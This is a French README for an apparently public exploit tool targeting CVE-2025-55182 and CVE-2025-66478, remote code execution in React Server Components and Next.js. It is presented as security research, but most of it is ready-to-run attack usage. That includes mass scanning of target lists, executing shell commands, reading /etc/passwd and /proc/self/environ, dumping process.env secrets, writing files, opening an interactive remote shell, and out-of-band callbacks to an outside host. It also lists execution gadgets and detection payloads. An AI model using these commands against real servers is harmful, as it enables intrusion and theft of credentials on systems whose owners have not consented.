CVE-2025-55182 - Exploit RCE des Composants Serveur React v2.0
Un outil complet de recherche en sécurité pour tester les vulnérabilités CVE-2025-55182 et CVE-2025-66478 dans les Composants Serveur React (RSC) et les Actions Serveur Next.js.
Aperçu de la vulnérabilité
| Propriété | Valeur |
|---|
| Identifiants CVE | CVE-2025-55182, CVE-2025-66478 |
| Score CVSS | 10.0 (CRITIQUE) |
| Versions concernées | React < 19.2.0, Next.js < 15.0.5 |
| Type de vulnérabilité | Exécution de code à distance (RCE) |
| Vecteur d'attaque | Réseau |
Fonctionnalités
- Scan de vulnérabilités de style PortSwigger avec plusieurs charges de détection
- Plusieurs gadgets RCE (execSync, spawnSync, vm.runInThisContext, etc.)
- Test de rappel hors bande (OOB) pour vérification RCE aveugle
- Capacités de lecture/écriture de fichiers
- Exécution de code JavaScript
- Mode shell interactif
- Scan en masse avec multi-threading
- Support proxy (compatible Burp Suite)
- Formats de sortie JSON/Texte
Installation
Prérequis
pip install requests
Version Python
Démarrage rapide
# Vérification de vulnérabilité de base
python3 exploit-custom.py -u https://target.com --check
# Scan de vulnérabilité complet (recommandé)
python3 exploit-custom.py -u https://target.com --scan
# Avec proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# Test de rappel OOB
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Exécution de commande
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Shell interactif
python3 exploit-custom.py -u https://target.com --shell
Utilisation
Arguments en ligne de commande
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Sélection de cible
| Argument | Description | Exemple |
|---|
-u, --url | URL cible unique | -u https://target.com |
-l, --list | Fichier contenant des URLs | -l targets.txt |
Modes de scan
| Argument | Description |
|---|
--detect | Détecter l'utilisation de Next.js/RSC |
--check | Vérification rapide de vulnérabilité (test mathématique) |
--scan | Scan de vulnérabilité complet (style PortSwigger) |
--test-all | Tester tous les gadgets et charges de détection |
Exploitation
| Argument | Description | Exemple |
|---|
--cmd | Exécuter une commande shell | --cmd "id" |
--gadget | Spécifier le gadget à utiliser | --gadget execSync |
--read | Lire un fichier sur la cible | --read /etc/passwd |
--write | Écrire un fichier sur la cible | --write /tmp/test.txt "contenu" |
--js | Exécuter du code JavaScript | --js "process.env" |
--shell | Démarrer un shell interactif | --shell |
--oob | Hôte de rappel OOB | --oob xyz.oastify.com |
Options de connexion
| Argument | Description | Exemple |
|---|
-p, --proxy | Proxy HTTP/HTTPS | -p http://127.0.0.1:8080 |
-c, --cookies | Chaîne de cookies | -c "session=abc123" |
-H, --header | En-tête supplémentaire (répétable) | -H "X-Custom: value" |
-t, --threads | Nombre de threads pour le scan en masse | -t 20 |
--timeout | Délai d'attente de requête en secondes | --timeout 60 |
Options de sortie
| Argument | Description |
|---|
-o, --output | Enregistrer les résultats dans un fichier (.json ou .txt) |
-q, --quiet | Supprimer la bannière |
Exemples de scan
Cible unique
# Détecter Next.js et RSC
python3 exploit-custom.py -u https://target.com --detect
# Vérification rapide de vulnérabilité
python3 exploit-custom.py -u https://target.com --check
# Scan complet avec toutes les charges de détection
python3 exploit-custom.py -u https://target.com --scan
# Tester tous les gadgets avec vérification OOB
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Scan en masse
# Scanner plusieurs cibles
python3 exploit-custom.py -l targets.txt --scan -o results.json
# Avec un nombre de threads augmenté
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# Avec rappels OOB
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Exemples d'exploitation
Exécution de commande
# Utilisation du gadget par défaut (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Utilisation d'un gadget spécifique
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Opérations sur les fichiers
# Lire un fichier
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Écrire un fichier
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Exécution JavaScript
# Obtenir les variables d'environnement
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Obtenir le nom d'hôte
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# Lister un répertoire
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Shell interactif
python3 exploit-custom.py -u https://target.com --shell
Commandes shell :
| Commande | Description |
|---|
<commande> | Exécuter une commande shell |
!read <fichier> | Lire un fichier |
!write <fichier> <contenu> | Écrire un fichier |
!js <code> | Exécuter du JavaScript |
!gadget <nom> | Changer de gadget |
exit | Quitter le shell |
Gadgets disponibles
Gadgets RCE
| Nom | ID du module | Description |
|---|
execSync | child_process#execSync | Exécution directe de commande shell |
execFileSync | child_process#execFileSync | Exécuter un fichier binaire |
spawnSync | child_process#spawnSync | Lancer un processus avec arguments |
vm_runInThisContext | vm#runInThisContext | Exécuter du JS dans le contexte actuel |
vm_runInNewContext | vm#runInNewContext | Exécuter du JS avec échappement de bac à sable |
vm_runInThisContext_global | vm#runInThisContext | Exécuter via global.process |
Gadgets fichiers
| Nom | ID du module | Description |
|---|
fs_readFileSync | fs#readFileSync | Lire des fichiers arbitraires |
fs_writeFileSync | fs#writeFileSync | Écrire des fichiers arbitraires |
Gadgets OOB
| Nom | Description |
|---|
vm_fetch | Requête HTTP via l'API fetch (Node 18+) |
vm_http | Requête HTTP via le module http |
Charges de détection (CVE-2025-66478)
Le mode --scan utilise ces charges de détection de style PortSwigger :
| Charge | Description |
|---|
property_reference | Référence de propriété délimitée par deux-points ["$1:a:a"] |
property_reference_v2 | Référence alternative ["$1:b:b"] |
property_reference_constructor | Accès au constructeur via référence de propriété |
property_reference_proto | Accès à la chaîne prototype via référence de propriété |
action_ref_vm | ACTION_REF avec vm#runInThisContext |
action_ref_execSync | ACTION_REF avec child_process#execSync |
Méthodes de rappel OOB